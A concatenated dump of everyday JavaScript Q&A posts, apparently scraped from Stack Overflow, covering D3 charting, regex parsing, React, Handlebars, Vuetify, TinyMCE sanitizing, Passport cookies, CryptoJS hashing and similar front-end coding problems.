142.699 , 144.570 , 146.442 , 148.313 , 150.184 , 149.175 , 146.384 , 143.594 , 140.803 , 138.013 , 135.222 , 132.432 , 129.642 , 126.851 , 124.061 , 121.270 , 118.480 , 115.689 , 112.899 , 110.109 , 107.318 , 104.528 , 101.737 , 98.947 , 96.156 , 93.366 , 90.576 , 87.785 , 84.995 , 82.204 , 79.414 , 76.623 , 0 , 0 , 0 , 0 , 0 , 0 , 76.601 , 78.414 , 80.227 , 82.041 , 83.854 , 85.667 , 87.480 , 89.294 , 91.107 , 92.920 , 94.733 , 96.547 , 98.360 , 100.173 , 101.986 , 103.800 , 105.613 , 107.426 , 109.239 , 111.053 , 112.866 , 114.679 , 116.492 , 115.917 , 114.338 , 112.760 , 111.181 , 109.602 , 108.023 , 106.444 , 104.865 , 103.286 , 101.707 , 100.128 , 98.549 , 96.970 , 95.391 , 93.812 , 92.233 , 90.654 , 89.075 , 87.534 , 88.055 , 88.646 , 89.237 , 89.827 , 90.418 , 91.009 , 91.600 , 92.191 , 92.782 , 93.373 , 93.964 , 94.555 , 95.146 , 95.737 , 96.328 , 96.919 , 97.509 , 98.100 , 98.691 , 99.282 , 99.873 , 100.062 , 98.230 , 96.399 , 94.567 , 92.736 , 90.904 , 89.072 , 87.241 , 85.409 , 83.578 , 81.746 , 79.914 , 78.083 , 78.839 , 80.880 , 82.922 , 84.964 , 87.006 , 89.048 , 91.090 , 93.132 , 95.174 , 97.216 , 99.257 , 101.299 , 103.341 , 105.383 , 107.425 , 109.467 , 111.509 , 113.551 , 112.633 , 110.755 , 108.877 , 106.999 , 105.121 , 103.243 , 101.365 , 99.487 , 97.609 , 95.731 , 93.853 , 91.975 , 90.097 , 88.219 , 86.341 , 84.463 , 82.585 , 80.707 , 78.829 , 76.951 , 78.067 , 81.290 , 84.513 , 87.736 , 90.958 , 94.181 , 97.404 , 100.627 , 103.849 , 107.072 , 110.295 , 113.517 , 116.740 , 119.963 , 123.186 , 126.408 , 129.631 , 132.854 , 136.077 , 139.299 , 142.522 , 145.745 , 148.968 , 152.190 , 155.413 , 154.840 , 152.899 , 150.958 , 149.017 , 147.076 , 145.135 , 143.194 , 141.253 , 139.312 , 137.371 , 135.429 , 133.488 , 131.547 , 129.606 , 127.665 , 125.724 , 124.874 , 126.734 , 128.594 , 130.454 , 132.314 , 134.174 , 136.034 , 137.894 , 139.754 , 141.614 , 143.474 , 145.334 , 147.194 , 149.054 , 150.914 , 152.774 , 154.634 , 156.494 , 158.354 , 160.214 , 162.074 , 163.934 , 165.664 , 161.795 , 157.761 , 153.726 , 149.692 , 145.658 , 141.624 , 137.589 , 133.555 , 129.521 , 125.487 , 121.452 , 117.418 , 113.384 , 109.350 , 105.316 , 101.281 , 97.247 , 93.213 , 89.179 , 85.144 , 81.110 , 77.076 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ] ; data.TextGrid = { `` phone '' : [ /** segment type , beginning , and end of each segment **/ [ `` sp '' , 0.0124716553288 , 0.271882086168 ] , [ `` M '' , 0.271882086168 , 0.401587301587 ] , [ `` OW '' , 0.401587301587 , 0.521315192744 ] , [ `` S '' , 0.521315192744 , 0.660997732426 ] , [ `` T '' , 0.660997732426 , 0.710884353741 ] , [ `` AH '' , 0.710884353741 , 0.760770975057 ] , [ `` V '' , 0.760770975057 , 0.820634920635 ] , [ `` DH '' , 0.820634920635 , 0.860544217687 ] , [ `` IY '' , 0.860544217687 , 0.940362811791 ] , [ `` AH '' , 0.940362811791 , 0.980272108844 ] , [ `` D '' , 0.980272108844 , 1.04013605442 ] , [ `` V '' , 1.04013605442 , 1.10997732426 ] , [ `` EH '' , 1.10997732426 , 1.21972789116 ] , [ `` N '' , 1.21972789116 , 1.289569161 ] , [ `` CH '' , 1.289569161 , 1.42925170068 ] , [ `` ER '' , 1.42925170068 , 1.51904761905 ] , [ `` Z '' , 1.51904761905 , 1.57891156463 ] , [ `` R '' , 1.57891156463 , 1.66870748299 ] , [ `` AH '' , 1.66870748299 , 1.69863945578 ] , [ `` K '' , 1.69863945578 , 1.75850340136 ] , [ `` AO '' , 1.75850340136 , 1.88820861678 ] , [ `` R '' , 1.88820861678 , 1.91814058957 ] , [ `` D '' , 1.91814058957 , 1.95804988662 ] , [ `` AH '' , 1.95804988662 , 1.99795918367 ] , [ `` D '' , 1.99795918367 , 2.07777777778 ] , [ `` AH '' , 2.07777777778 , 2.10770975057 ] , [ `` N '' , 2.10770975057 , 2.18752834467 ] , [ `` DH '' , 2.18752834467 , 2.22743764172 ] , [ `` AH '' , 2.22743764172 , 2.2873015873 ] , [ `` S '' , 2.2873015873 , 2.42698412698 ] , [ `` B '' , 2.42698412698 , 2.51678004535 ] , [ `` UH '' , 2.51678004535 , 2.68639455782 ] , [ `` K '' , 2.68639455782 , 2.79614512472 ] , [ `` sp '' , 2.79614512472 , 2.81609977324 ] , [ `` R '' , 2.81609977324 , 2.95578231293 ] , [ `` IY '' , 2.95578231293 , 3.00566893424 ] , [ `` L '' , 3.00566893424 , 3.09546485261 ] , [ `` IY '' , 3.09546485261 , 3.23514739229 ] , [ `` AH '' , 3.23514739229 , 3.27505668934 ] , [ `` K '' , 3.27505668934 , 3.41473922902 ] , [ `` ER '' , 3.41473922902 , 3.68412698413 ] , [ `` D '' , 3.68412698413 , 3.75396825397 ] , [ `` sp '' , 3.75396825397 , 4.01337868481 ] ] } /** * Set up D3JS */ var x = d3.scaleLinear ( ) .domain ( [ 0 , 401 ] ) .range ( [ 0 , width ] ) ; var y = d3.scaleLinear ( ) .domain ( [ 0 , 800 ] ) .range ( [ height , 0 ] ) ; /** Center the stream vertically **/ var shift = d3.scaleLinear ( ) .domain ( [ 0 , 0 ] ) .range ( [ -height/2 , 0 ] ) ; /** Draw a stream segment **/ var pathGenerator = d3.area ( ) .curve ( myCurveBundle.beta ( 0 ) ) .x ( function ( d , i ) { return x ( i ) ; } ) .y1 ( function ( d ) { return y ( d + 72 ) ; } ) /** 72 is just some arbitrary thickess given to the graph **/ .y0 ( function ( d ) { return y ( d ) ; } ) ; var svg = d3.select ( `` body '' ) .append ( `` svg '' ) .attr ( `` width '' , width ) .attr ( `` height '' , height ) ; /** * Render the chart */ /** Draw the stream , on a per-segment basis **/ var path = svg.selectAll ( `` path '' ) .data ( data.TextGrid.phone ) .enter ( ) .append ( `` path '' ) .attr ( `` transform '' , function ( d , i ) { return `` translate ( `` + x ( Math.floor ( d [ 1 ] *100 ) ) + `` , `` + shift ( i ) + `` ) '' ; } ) .attr ( `` class '' , function ( d ) { return `` segment `` + d [ 0 ] ; } ) .on ( 'click ' , function ( d , i ) { playFromTo ( Math.floor ( d [ 1 ] * 1000 ) , Math.floor ( d [ 2 ] * 1000 ) ) ; } ) .attr ( `` d '' , function ( d ) { return pathGenerator ( data.prosody.slice ( Math.floor ( d [ 1 ] *100 ) , Math.floor ( d [ 2 ] *100 ) +1 ) ) ; } ) ; .segment { fill : # ccc ; } .segment.sp { display : none ; } /** Adapted from Margaret Horrigan for American English **/.segment.IY { fill : # 7AC141 ; } .segment.IH { fill : # F9C5DC ; } .segment.UH { fill : # FF00FF ; } .segment.UW { fill : # 0153A5 ; } .segment.EY { fill : # 8B8C90 ; } .segment.EH { fill : # E61A25 ; } .segment.AX { fill : # DF5435 ; } .segment.ER { fill : # 805EAA ; } .segment.AO { fill : # E2A856 ; } .segment.OY { fill : # 2E3094 ; } .segment.OW { fill : # FC2B1C ; } .segment.AE { fill : # 21201E ; } .segment.AH { fill : # DF5435 ; } .segment.AA { fill : # bf181f ; } .segment.AY { fill : # FFFFFF ; } .segment.AW { fill : # 7C4540 ; } < script src= '' https : //cdn.jsdelivr.net/npm/d3 @ 5.4.0/dist/d3.min.js '' > < /script > M31.122194513715712,398.532825 L31.122194513715712,398.532825",D3 custom curve : bundle interpolation for areas "JS : I built up this regex at http : //regextester.com to parse YSOD but VS is complaining about a syntax error . I am sure I am missing an escape somewhere but I am coming up blank . Here is is in original form . any help is appreciated.UPDATE : Kobi pointed out the obvious and got me moving again . For those who are interested , this is valid JavaScript to test and parse an XMLHttpRequest.responseText for an ASP.net Yellow Screen Of Death ( YSOD ) . @ Kobi - This is the result and the reason I want to parse the html even though I get a 500 : var rxYSOD = / < ! -- \s*\ [ ( .* ? ) ] : ( \s*.*\s ( .*\n ) * ? ) \s* ( at ( . *\n ) * ) -- > /gs ; var rxYSOD = / < ! -- \s*\ [ ( .* ? ) ] : ( \s*.*\s ( .* [ \n\r ] * ) * ? ) \s* ( at ( . * [ \n\r ] * ) * ) -- > / ; if ( rxYSOD.test ( text ) ) { // looks like one.. var ysod = rxYSOD.exec ( text ) ; errObj = { Message : ysod [ 2 ] , StackTrace : ysod [ 4 ] , ExceptionType : ysod [ 1 ] } ; } { `` message '' : `` Unknown web method ValidateUser.\r\nParameter name : methodName\r\n '' , `` stackTrace '' : `` at System.Web.Script.Services.WebServiceData.GetMethodData ( String methodName ) \r\n at System.Web.Script.Services.RestHandler.CreateHandler ( WebServiceData webServiceData , String methodName ) \r\n at System.Web.Script.Services.RestHandler.CreateHandler ( HttpContext context ) \r\n at System.Web.Script.Services.RestHandlerFactory.GetHandler ( HttpContext context , String requestType , String url , String pathTranslated ) \r\n at System.Web.Script.Services.ScriptHandlerFactory.GetHandler ( HttpContext context , String requestType , String url , String pathTranslated ) \r\n at System.Web.HttpApplication.MapHttpHandler ( HttpContext context , String requestType , VirtualPath path , String pathTranslated , Boolean useAppConfig ) \r\n at System.Web.HttpApplication.MapHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute ( ) \r\n at System.Web.HttpApplication.ExecuteStep ( IExecutionStep step , Boolean & completedSynchronously ) \r\n '' , `` exceptionType '' : `` ArgumentException '' , `` errorObject '' : { `` Message '' : `` Unknown web method ValidateUser.\r\nParameter name : methodName\r\n '' , `` StackTrace '' : `` at System.Web.Script.Services.WebServiceData.GetMethodData ( String methodName ) \r\n at System.Web.Script.Services.RestHandler.CreateHandler ( WebServiceData webServiceData , String methodName ) \r\n at System.Web.Script.Services.RestHandler.CreateHandler ( HttpContext context ) \r\n at System.Web.Script.Services.RestHandlerFactory.GetHandler ( HttpContext context , String requestType , String url , String pathTranslated ) \r\n at System.Web.Script.Services.ScriptHandlerFactory.GetHandler ( HttpContext context , String requestType , String url , String pathTranslated ) \r\n at System.Web.HttpApplication.MapHttpHandler ( HttpContext context , String requestType , VirtualPath path , String pathTranslated , Boolean useAppConfig ) \r\n at System.Web.HttpApplication.MapHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute ( ) \r\n at System.Web.HttpApplication.ExecuteStep ( IExecutionStep step , Boolean & completedSynchronously ) \r\n '' , `` ExceptionType '' : `` ArgumentException '' } , `` statusCode '' : 500 , `` servicePath '' : `` /Authentication_JSON_AppService.axd '' , `` useGet '' : false , `` params '' : { `` username '' : `` testingUser '' , `` password '' : `` testingUser '' , `` customCredential '' : null } , `` methodName '' : `` ValidateUser '' , `` __typeName '' : `` Salient.ScriptModel.WebServiceError '' }",YSOD Yellow Screen Of Death JavaScript RegExp - Syntax Error "JS : I wanted to embed a new key/value pair in the respective indexed array of objects based on an onChange event.However , it is done correctly but adding extra elements in the array . Original array of objects : Achieved result : Intended result : Below is my code doing it in a loop : 0 : { data : { … } } 1 : { data : { … } } 2 : { data : { … } } 3 : { data : { … } } 4 : { data : { … } } 0 : { data : { … } } 1 : { data : { … } } 2 : { data : { … } , origin : `` UK '' } 3 : { data : { … } , origin : `` UK '' } 4 : { data : { … } } 5 : '' UK '' 6 : '' UK '' 0 : { data : { … } } 1 : { data : { … } } 2 : { data : { … } , origin : `` UK '' } 3 : { data : { … } , origin : `` UK '' } 4 : { data : { … } } render : ( rowData , indexes ) = > { return ( < SelectField id= { ` origin- $ { indexes.rowIndex } ` } defaultValue= '' US '' style= { { position : 'absolute ' } } onChange= { text = > { this.setState ( { generalPermitSelectedVehicles : [ ... generalPermitSelectedVehicles , ( generalPermitSelectedVehicles [ indexes.rowIndex ] .origin = text ) , ] , } , ( ) = > { console.log ( { generalPermitSelectedVehicles : this.state .generalPermitSelectedVehicles , } ) ; } , ) ; } } menuItems= { [ { label : 'America ' , value : 'US ' , } , { label : 'United Kingdom ' , value : 'UK ' , } , { label : 'Oman ' , value : 'Oman ' , } , ] } / > ) ; } ,",spread operator ( ... ) is creating extra fields in array in es6 "JS : I 'm new to handlebars and backbone and I 'm currently trying to have precompiled handlebar templates on my web page.However what happens is that handlebars or backbone , I do n't know which , adds an empty string into the DOM . I do n't know why . This same thing does not happen when I compile the templates in a backbone view . What is even stranger to me is that I have one precompiled handlebar template to which this does n't happen ... Here is a picture of the html when precompiled : Here is a picture when compiling within a backbone view : Does anyone know why this is happening ? I 've tried to simplify the precompiled template file by compiling only the simplest template that does n't accept any data and looking into the file for the problem ... I 've changed the return string , but it did n't fix the issue , so I 'm thinking the problem has to be somewhere within backbone ... The simple template : Returning the precompiled template from the template function in a backbone view : Returning the template while compiling in the view : In the same backbone view , in the initialize method : Any help with figuring out what is happening is very much appreciated . < div id= '' channelsContainer '' > < /div > < div > < div id= '' postsContainer '' > < /div > < div > < div id= '' contentContainer '' > < /div > < div id= '' detailsContainer '' > < /div > < /div > < /div > template : function ( data ) { return Handlebars.templates [ 'shell.html ' ] ; } template : function ( data ) { var handlebarTemplate = Handlebars.compile ( ' < div id= '' channelsContainer '' > < /div > \ < div > \ < div id= '' postsContainer '' > < /div > \ < div > \ < div id= '' contentContainer '' > < /div > \ < div id= '' detailsContainer '' > < /div > \ < /div > \ < /div > ' ) ; return handlebarTemplate ; } this. $ el.empty ( ) .html ( this.template ( ) ) ;",Handlebars or backbone insert empty string into html "JS : I 'm trying to get a & zwnj ; with innerHTMLThe output should beBut the output is : How can I get the & zwnj ; ? Fiddle : https : //jsfiddle.net/yst1Lanv/ This div contains a zero-width‌ & zwnj ; non-joiner , a non-breaking & nbsp ; space & amp ; an ampersand This div contains a zero-width‌non-joiner , a non-breaking & nbsp ; space & amp ; an ampersand alert ( document.getElementsByTagName ( 'div ' ) [ 0 ] .innerHTML ) < div > This div contains a zero-width & zwnj ; non-joiner , a non-breaking & nbsp ; space & amp ; an ampersand < /div >",get Zero-width non-joiner ( & zwnj ; ) with innerHTML JS : I found some code usingI guess this is just the same things thanis there a reason for doing that or is just some abbreviation ? ! 0 ! 1 truefalse,Any reason to use ! 0 instead of true ? JS : We are getting an error Uncaught TypeError : Can not read property 'yield ' of undefinedfor the following hbs code ; isButtonEnabled is a property defined on my corresponding controller < button { { if isButtonEnabled 'enabled ' 'disabled ' } } > Test < /button >,Ember Uncaught TypeError : Can not read property 'yield ' of undefined "JS : I am making an app that will have to list of things which can be rearranged . Trello does it perfectly , it allows us to rearrange everything , from lists to cards and checklists . How does it do it ? I checked the API calls they make while rearranging , turns out they are sending a key `` pos '' from the frontend . Everytime I rearrange a card , the ID of that card is used for a PUT request with and updated `` pos '' value.Here is a list before rearranging : I drag and drop it before some other list , an API call to https : //trello.com/1/lists/553750612a364775ded5f841 is made and a new pos:32767 is sent . The response comes as : How is Trello doing it ? { `` id '' : `` 553750612a364775ded5f841 '' , `` name '' : `` test again '' , `` closed '' : false , `` idBoard '' : `` 55374f01f73ace7afec03698 '' , `` pos '' : 131071 } { `` id '' : `` 553750612a364775ded5f841 '' , `` name '' : `` test again '' , `` closed '' : false , `` idBoard '' : `` 55374f01f73ace7afec03698 '' , `` pos '' : 32767.5 }","How does Trello handle rearrangement of cards , lists , checklists etc" "JS : I 'm trying to figure out what 's going on in the javascript of Google 's live page preview . Why are n't the links I 'm adding to the DOM with Javascript clickable ? ( for a bit more context ) http : //chesser.ca/2010/11/google-visual-image-search-hack-marklet/ for the `` latest demo '' If you search on google , the results come up on page via live search . Then , if you mouseover one of the magnifying glasses in your result set , a number of things happen.the mousover event for the magnifying glass firesthis calls an ( as of yet ) unknown function with unknown parametersthe function makes a cross-site call to google 's image results query serverthose results are stored in google 's VS class memory ` google.vs.ha ` I 've copied the code from google 's library and run it through an un-minifier so it 's slightly more readable . I 've also installed breakpoints in the code through firebug so I can inspect the dom & memory space before during and after I load the page.My end goal is to be able to replicate the mousover event in code by calling the same function that is called - but - I 'm stuck in trying to find the right function . ( i 'm sure it involves google.vs.Ga ( a , b , c ) but I 'm just not quite there yet.I know this is pretty much the craziest obsession ever - but - I dunno . Maybe if you 're also reading stack on a Sunday you understand : ) What function is being called `` On Hover '' that sends out the command to get the image requests ? EDIT : There are a few upvotes on this so far tho I thought I 'd add a bit more background to anyone wanting to catch up in firebug , you can follow what 's happening in javascript at any time.Is a picture of what google looks like `` in memory '' you can look at all of the functions and calls and the current state of variables.You can also actually access and call those variables by putting links in your bookmarks bar . for example javascript : alert ( google.base_href ) after a search will tell you the URL you 're at ... and it gets way more exciting from there.EDIT NUMER 2 : a huge thanks to Matt who managed to crack this in one go : ) < a href= '' javascript : ( function ( ) { var all_divs = document.getElementsByTagName ( 'div ' ) ; for ( i=0 ; i < all_divs.length ; i++ ) { if ( all_divs [ i ] .className == 'vsc ' ) { google.vs.ea ( all_divs [ i ] ) ; } } } ) ( ) ; '' > test all vsc < /a >","Reverse Engineering the DOM , Javascript events & `` what 's going on '' ?" "JS : is there a way to copy a global object ( Array , String ... ) and then extend the prototype of the copy without affecting the original one ? I 've tried with this : But if i check Array.prototype.test it 's 2 because the Array object is passed by reference . I want to know if there 's a way to make the `` copy '' variable behave like an array but that can be extended without affecting the original Array object . var copy=Array ; copy.prototype.test=2 ;",Copy and extend global objects in javascript "JS : We have a problem that is only evident on iOS browsers ( iOS 12.0 ) with our SPA application that uses HTML object tags to load widgets ( HTML/CSS/JS files ) through JavaScript onto the page . The issue is an intermittent one when the page is loaded some of the widgets do n't display/render on the screen , yet are loaded into the DOM and can be viewed/highlighted with full element properties in the Safari Web Inspector . but are “ invisible ” to their user . The problem will occur about 50 % of the time if there are 4 widgets to load on a page , 2 typically wo n't display and it will be different widgets not displaying each time , with no detectable pattern.The widget javascript load events run properly and there are no errors in the console . In the Safari Web Inspector , we can see some of the HTML elements from the non-rendering object are loaded at position 0,0 but their style is correct in the DOM ( left and top set correctly , display : inline , etc . ) .Here is the code that loads the widgets ( the fragment is added to the DOM after all widgets are setup ) : Here is the code in the load event that configures the widget once loaded ( we work around a Chrome bug that also affects Safari where the load event is fired twice for every object loaded ) : The code performs correctly in Chrome ( Mac/Windows ) , IE and Safari ( Mac ) , however , presents the random invisible loading issue in iOS Safari and also in iOS Chrome . Any ideas what causes this and what the workaround could be ? function loadWidget ( myFrag , widgetName ) { var widgetObj = document.createElement ( `` object '' ) ; widgetObj.data = `` widgets/ '' + widgets [ widgetName ] .type + `` .html '' ; // location of widget widgetObj.className = `` widget unselectable '' ; widgetObj.id = widgetName ; widgetObj.name = widgetName ; myFrag.appendChild ( widgetObj ) ; // build widgets onto fragment widgetObj.addEventListener ( `` load '' , widgetLoaded , false ) ; // Run rest of widget initialisation after widget is in DOM widgetObj.addEventListener ( `` error '' , badLoad , true ) ; } function widgetLoaded ( e ) { var loadObj = e.target ; if ( loadObj === null ) { // CHROME BUG : Events fire multiple times and error out early if widget file is missing so not loaded ( but this still fires ) , force timeout return ; } var widgetName = loadObj.id ; // CHROME BUG : Workaround here is to just set the style to absolute so that the event will fire a second time and exit , then second time around run the entire widgetLoaded if ( ( parent.g.isChrome || parent.g.isSafari ) & & ! widgets [ widgetName ] .loaded ) { widgets [ widgetName ] .loaded = true ; // CHROME : WidgetLoaded will get run twice due to bug , exit early first time . loadObj.setAttribute ( `` style '' , `` position : absolute '' ) ; // Force a fake style to get it to fire again ( without loading all the other stuff ) and run through second time around return ; } var defView = loadObj.contentDocument.defaultView ; // Pointer to functions/objects inside widget DOM loadObj.setAttribute ( `` style '' , `` position : absolute ; overflow : scroll ; left : '' + myWidget.locX + `` px ; top : '' + myWidget.locY + `` px ; z-index : '' + zIndex ) ; loadObj.width = myWidget.scaleX * defView.options.settings.iniWidth ; // Set the width and height of the widget < object > in dashboard DOM loadObj.height = myWidget.scaleY * defView.options.settings.iniHeight ; }",Apple iOS browsers randomly wo n't render HTML objects loaded dynamically "JS : I had this function for a long time and it made my iframe change height on click , but since the last update of chrome it stoped working on chrome . i get the value 0 , while on explorer or other platform it works great . any ideas how to make it works again ? function calcHeight ( ) { var the_height = document.getElementById ( 'resize ' ) .contentWindow.document.body.scrollHeight ; window.alert ( the_height ) ; document.getElementById ( 'resize ' ) .height= the_height ; }",scrollHeight does n't work since last Chrome update "JS : I have a group of fade out animations , after which I want to run a group of animation calls . How can I make sure one is run after the other ? If I do this : The animations run in parallel.The above code is just a simplification/abstraction of the problem . I ca n't group all the calls in one function , and in real life there is a variable number of elements , each managed by it 's own class . $ ( div1 ) .fadeOut ( 600 ) ; $ ( div2 ) .fadeOut ( 600 ) ; $ ( div3 ) .fadeOut ( 600 ) ; $ ( div4 ) .animation ( { opacity:1 } ,600 ) ; $ ( div5 ) .animation ( { opacity:1 } ,600 ) ; $ ( div6 ) .animation ( { opacity:1 } ,600 ) ;",Running jQuery animations serially "JS : A few of us are trying to create a JavaScript library to quickly run JSON queries on a RESTful API.What I 'd like to do is group a set of methods relative to their purpose . For example ; Through the API I am able to get user attributes . Instead of having all of these methods under the main object , I 'd like to group them within the API class object.i.e . Transform this : To This : We 'll use the code below as a simple example . How might I have my User methods nested within a User Object within myAPI Class ? ? Solved myAPI.getUserById ( ) myAPI.User.getByID ( ) myAPI.User.getByName ( ) class myAPI { constructor ( url ) { this.url = url ; //Code to connect to instance ... } getUserById ( userId ) { // function } } class myAPI { constructor ( url ) { this.url = url ; this.UserAPI = new UserClass ( this ) ; //Code to connect to instance ... } getUserById ( userId ) { // function } } class UserClass { constructor ( parent ) { this.myAPI = parent ; } }",JavaScript ES6 : Grouping methods in es6 classes ? "JS : I am starting to use Vuetify 2.x.I have a table and some column should be shown with html.So I used below code : But from Vuetify 2.0 , table has been changed.Not used `` template '' any more.So I do n't know how can I apply `` v-html '' in some column . < v-data-table : headers= '' headers '' : items= '' decorations '' : items-per-page-options= '' [ 20 ] '' class= '' elevation-1 '' > < template v-slot : items= '' props '' > < tr > < td class= '' text-sm-center '' > { { props.item.name } } < /td > < td > < span v-html= '' props.item.desc '' > < /span > < /td > < /tr > < /template > < /v-data-table > < v-data-table : headers= '' headers '' : items= '' decorations '' : items-per-page-options= '' [ 20 ] '' class= '' elevation-1 '' > < /v-data-table >",How can I use v-html in customized default rows in the table using Vuetify 2.x ? "JS : This code is working fine on jsFiddle but not on my system.JsFiddleI have checked from the draft ( Pressing Ctrl + Shift + Enter on jsFiddle ) , added this code to head section & modified like below : window.addEvent ( 'load ' , function ( ) { window.webkitRequestFileSystem ( window.TEMPORARY , 2*1024*1024 , function ( fs ) { fs.root.getFile ( 'test ' , { create : true } , function ( fileEntry ) { alert ( fileEntry.toURL ( ) ) ; fileEntry.createWriter ( function ( fileWriter ) { var builder = new WebKitBlobBuilder ( ) ; builder.append ( `` Saurabh '' ) ; builder.append ( `` \n '' ) ; builder.append ( `` Saxena '' ) ; var blob = builder.getBlob ( 'text/plain ' ) ; fileWriter.onwriteend = function ( ) { // navigate to file , will download location.href = fileEntry.toURL ( ) ; } ; fileWriter.write ( blob ) ; } , function ( ) { } ) ; } , function ( ) { } ) ; } , function ( ) { } ) ; } ) ;",Code Working Fine on jsFiddle but not on Local System "JS : How can I scroll a newly inserted block into the view in the wordpress gutenberg editor ? I am creating the block withI have also seen that gutenberg uses the dom-scroll-into-view package like e.g . here.Their documentation says : but how can I get it working in my case , how to get the source and container DOM elements ? const nextBlock = createBlock ( 'core/paragraph ' ) ; wp.data.dispatch ( 'core/editor ' ) .insertBlock ( nextBlock ) ; //scroll the block into the view var scrollIntoView = require ( 'dom-scroll-into-view ' ) ; scrollIntoView ( source , container , config ) ;",Gutenberg editor scroll block into view "JS : I 'm using tinyMCE to edit content , and it has the cleanup rules set for what to scrub before posting the data back . but in other areas of my app , I need to display that same content ... and I dont want to count on the fact that it was correctly scrubbed before it was put INTO the database ( it may have been edited by another app ) . so for consistency sake ( and not having to duplicate effort ) is there a way for me to use the tinyMCE cleanup/scrubber directly in javascript so that I can scrub other content before placing it into the DOM just for viewing ? something like : UPDATE - example of how to do it var data = getDataViaAjax ( ) ; var content = tinymce.scrubber.cleanup ( data ) ; $ ( `` someElement '' ) .append ( content ) ; function parse ( html ) { var settings = { invalid_elements : `` script , object , embed , link , style , form , input , iframe '' , valid_elements : '' a [ href ] , img [ src ] , li , ul , ol , span , div , p , br , blockquote , h1 , h2 , h3 , h4 , h5 , h6 , strong/b , em/i , li , ul , ol '' } ; var schema = new tinymce.html.Schema ( settings ) ; var parser = new tinymce.html.DomParser ( { } , schema ) ; var serializer = new tinymce.html.Serializer ( { } , schema ) ; return serializer.serialize ( parser.parse ( html ) ) ; }",can I use the tinyMCE cleanup algorithms without using the editor ? "JS : I have an image 8640x11520 pixels from a part of the map in real scale . I need convert my x , y point to coordinate , anyone has an idea to find out it ? ? var mapWidth = 8640 ; var mapHeight = 11520 ; var mapLatitudeStart = 28.349768989955244 ; var mapLongitudeStart = -81.55803680419922 ; var maxLatitude = 28.349806758250104 ; var maxLongitude = -81.541128 ; var pointNeedConversion = { ' x ' : 4813.10 ' y ' : 2674.84 } ; var pointLatitude = ? ?","Convert X , Y pixel to Longitude and Latitude" "JS : So I 've implemented facebook login using Passport-js . I 've also implemented Cookie-strategy for using good ole username/password login . My setup is Express-js backend and a React front-end . Backend and frontend runs on different servers and domains ( backend-client.com , frontend-client.com ) . Everything works like a charm on localhost but not in stage and production environment . Do n't know if it matters but I 'm using Heroku for hosting my applications.The issue : When the facebook authentication is complete , the Express server redirects the user to the frontend app . The cookie is a JWT containing user info to check if the user is logged in.When the user hits /auth/facebook/callback the cookie is presentHowever when the user returns to the frontend client no cookie is sent in the response headers . I ca n't wrap my head around this . I 'm I missing some fundamentals around cookies ? Side note : When the user logs in using username and password the cookie is returned to the user . The login method is created using ajax-request with Axios if it matters . So I know there 's no issue with the cookie settings I 'm using . const cookieSettings = { domain : process.env.COOKIE_DOMAIN , secure : ( process.env.APP_MODE === 'local ' ? false : true ) , httpOnly : true , } ; const cookieMaxAge = { maxAge : 14 * 24 * 60 * 60 * 1000 // 14 days , 24h , 60 min , 60 sec * miliseconds } router.get ( '/auth/facebook/ ' , passport.authenticate ( 'facebook ' ) ) ; router.get ( '/auth/facebook/callback ' , function ( req , res , next ) { passport.authenticate ( 'facebook ' , async function ( err , profile , info ) { if ( err || ! profile ) { res.redirect ( ` $ { process.env.FRONTEND_BASE_URL } ? success=0 ` ) ; } const user = await User.findOne ( { facebookId : profile.facebookId } ) ; return user.generateAuthToken ( ) .then ( ( token ) = > { res.cookie ( COOKIE_NAME , token.token , { ... cookieSettings , ... cookieMaxAge } ) ; res.redirect ( ` $ { process.env.FRONTEND_BASE_URL } ? success=1 ` ) ; // redirect back to frontend-client with cookie } ) ; } ) ( req , res , next ) ; } ) ;","Express js redirect with cookie , cookie not present" "JS : I have a javascript function that I 'm trying to convert to PHP , It uses CryptoJS library , speciafically components/enc-base64-min.js and rollups/md5.js . They can be found here.In it is this bit of codeI assumed the str variable is hashed using md5 then encoded to Base64 , so I tried this simple codeThen I tried validating both the outputs , looks like the JS output isnt even a valid Base64 string.To understand further I tried to look for toString ( ) parameter from W3Schools , but it doesnt make sense to me , as per the reference the parameter is supposed to be an integer ( 2 , 8 or 16 ) , then why is CryptoJS.enc.Base64 used instead ? My goal here is n't to produce a valid base64 encoded string using JS but rather to produce the same output using PHP . // Let 's say str = 'hello ' ; var md5 = CryptoJS.MD5 ( str ) ; md5 = md5.toString ( CryptoJS.enc.Base64 ) ; // md5 outputs `` XUFAKrxLKna5cZ2REBfFkg== '' $ md5 = md5 ( $ str ) ; $ md5 = base64_encode ( $ md5 ) ; // md5 outputs `` MmZjMGE0MzNiMjg4MDNlNWI5NzkwNzgyZTRkNzdmMjI= ''",Produce same result as CryptoJS.enc.Base64 using PHP "JS : Say I have the following code : Istanbul reports that only 1/3 functions have been tested . Which is somewhat true as I have only run a test against main.initialize.How can I get Istanbul to ignore the function used for define callback ? Edit : Additional Gruntfile.js configEdit : Example Spec define ( [ ' a ' ] , function ( a ) { return { initialize : function ( ) { } , stuff : function ( ) { } } ; } ) ; jasmine : { coverage : { src : 'src/assets/js/app/**/*.js ' , options : { specs : 'src/assets/js/spec/**/*Spec.js ' , host : 'http : //127.0.0.1:8000/ ' , template : require ( 'grunt-template-jasmine-istanbul ' ) , templateOptions : { //files : 'src/assets/js/app/**/*.js ' , coverage : 'bin/coverage/coverage.json ' , report : [ { type : 'html ' , options : { dir : 'src/coverage/html ' } } , { type : 'text-summary ' } ] , template : require ( 'grunt-template-jasmine-requirejs ' ) , templateOptions : { requireConfig : { baseUrl : 'src/assets/js ' , paths : { /* 'jquery ' : 'lib/jquery ' , 'underscore ' : 'lib/lodash ' , 'text ' : 'lib/text ' , 'i18n ' : 'lib/i18n ' , */ } } } } , keepRunner : true } } } define ( [ 'app/main ' ] , function ( main ) { describe ( 'app/main ' , function ( ) { it ( 'initailize should not error ' , function ( ) { expect ( main.initialize ( ) ) .toBe ( undefined ) ; } ) ; } ) ; } ) ;",Getting Istanbul.js to ignore the define ( require.js ) definition "JS : I know this question has been asked before , but none of the answers seem to resolve the issue . I 'm testing an AJAX webpage which updates elements in the DOM via javascript . Every minute , the server is queried for new data and the DOM is updated accordingly . From what I can tell , the memory usage for this 